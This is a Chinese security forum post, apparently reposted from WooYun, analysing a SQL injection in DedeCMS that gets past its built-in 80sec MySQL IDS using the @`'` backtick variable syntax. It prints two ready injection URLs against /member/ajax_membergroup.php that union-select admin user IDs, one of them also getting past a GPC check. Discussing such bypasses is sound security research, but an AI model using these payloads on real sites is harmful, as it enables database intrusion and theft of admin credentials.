讨论下IDS的绕过
自从知道dedecms自带了80sec的内置Mysqlids后,一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时,只找模板执行,本地包含,上传等,完全没有想到注入存在的可能性了。
可以看看某牛的很久以前的分析
http://www.oldjun.com/blog/index.php/archives/66/(其中:80sec的内置Mysqlids可能的绕过方法)
之前也看过,感觉也是同意的。
但今天看到dede再暴漏洞,居然存在注入?
文章在这里:http://www.sa666.com/thread-25247-1-1.html
注入关键地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`
最终执行语句是:
SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'`
Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;
关键是:@`'` 这个
一直以为 反引号 只用于字段表等特殊地方,但没想到还可以用于值的,于是就顺理绕过了IDS的检测,在IDS中变成:select
groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。
如果执行:select * from table where id=`8` 会出错。
但执行:select * from table where id=@`8` 即正常,但没查出数据。
即这个值“@`8`”不是简单的值 8 那是什么值呢?
mysql> select @`8`;
+------+
| @`8` |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
据我所知,这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧?
不知想法对不对。有对mysql了解的可以来解释一下。
至于有人说为什么会有些出现:Safe Alert: Request Error step 2!
这是由于dedecms的另一个问题了,这里就不多说,和GPC有关,可以下面语句绕过:
/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`
IDS的防和绕过一直在斗争着。
在Discuz! 中,IDS也起到了很大作用,从前面的 /*!*/ 绕过和 union all等绕过,到现在的修复。
大家还有什么IDS的绕过技巧或案例可以分享的么?^-^
摘自:http://zone.wooyun.org/content/108
讨论下IDS的绕过的更多相关文章
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下。
最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下.
- 讨论下python中全局变量的使用
首先看一段代码: A = 0 B = [0] def fun1(A, B): A += 1 B[0] += 1 fun1(A, B) print 'after fun1 %d %s' % (A,B) ...
- 第十一篇:Linux中权限的再讨论( 下 )
前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限. 看完这两篇文章,你一定会对Linux的权限有个更 ...
- Linux 中权限的再讨论( 下 )
前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限.看完这两篇文章,你一定会对Linux的权限有个更深 ...
- 讨论下茴香逗的茴字有几种写法,javascript字符串数组查找“indexOf"的替代方式。
- Kafka leader副本选举与消息丢失场景讨论
如果某个broker挂了,leader副本在该broker上的分区就要重新进行leader选举.来简要描述下leader选举的过程 1.4.1 KafkaController会监听ZooKeeper的 ...
- CSRF绕过后端Referer校验
CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过. 正常情况 正常的情况指服务器端校验Referer的代码没毛病 ...
- 【AutoMapper官方文档】DTO与Domin Model相互转换(下)
写在前面 AutoMapper目录: [AutoMapper官方文档]DTO与Domin Model相互转换(上) [AutoMapper官方文档]DTO与Domin Model相互转换(中) [Au ...
随机推荐
- Java实现抽奖游戏
代码如下: import java.io.*; public class PresentDemo { /** * @param args */ public static void main(Stri ...
- Mongodb Gridfs
http://www.cnblogs.com/lipan/archive/2011/03/21/1989409.html
- C#高级功能(三)Action、Func,Tuple
Action和Func泛型委托实际上就是一个.NET Framework预定义的委托,3.5引入的特性.基本涵盖了所有常用的委托,所以一般不用用户重新声明. Action系列泛型委托,是没有返回参数的 ...
- 比较C++中的4种类型转换方式
C++的四种cast操作符的区别并非我的原创-------------------------------------------from:http://blog.csdn.net/hrbeuwhw/ ...
- Java 需要记得、了解的关键词 (Java 学习中的小记录)
Java 需要记得.了解的关键词 (Java 学习中的小记录) 作者:王可利(Star·星星) 总结:本次随笔,仅且拿来平时翻阅记忆用
- Go字典
字典(map)是Go语言内置的数据结构,一组键值对的无序集合. 看代码: package main import "fmt" func main() { //使用make申请一个m ...
- [转]JSON与XML的区别比较
1.定义介绍 (1).XML定义扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许 ...
- 设置VS2010中自带的ActiveX控件测试容器TstCon
ActiveX控件:可以看做一个极小的服务器应用程序,他不能单独运行,需要嵌入到某个程序中才可以运行,我们可以自己写一个程序来测试自己写的程序(具体方法在下一篇文章阐述),第二种方法是利用VS(本人编 ...
- MATLAB 利用filter函数实现滑动平均滤波
function [ y ] = moving_average( x, win_size ) y1=filter(ones(1,win_size/2+1)/win_size,1,x); y2=fi ...
- VDN For PB Web实现消息推送
利用VesnData.Net(VDN)的互联网数据驱动功能我们实现了PB连接互联网数据库的功能.在互联网开发的过程中我们往往有些消息或者数据希望即时能够通知到各个客户端,现在比较流行的一种技术就是消息 ...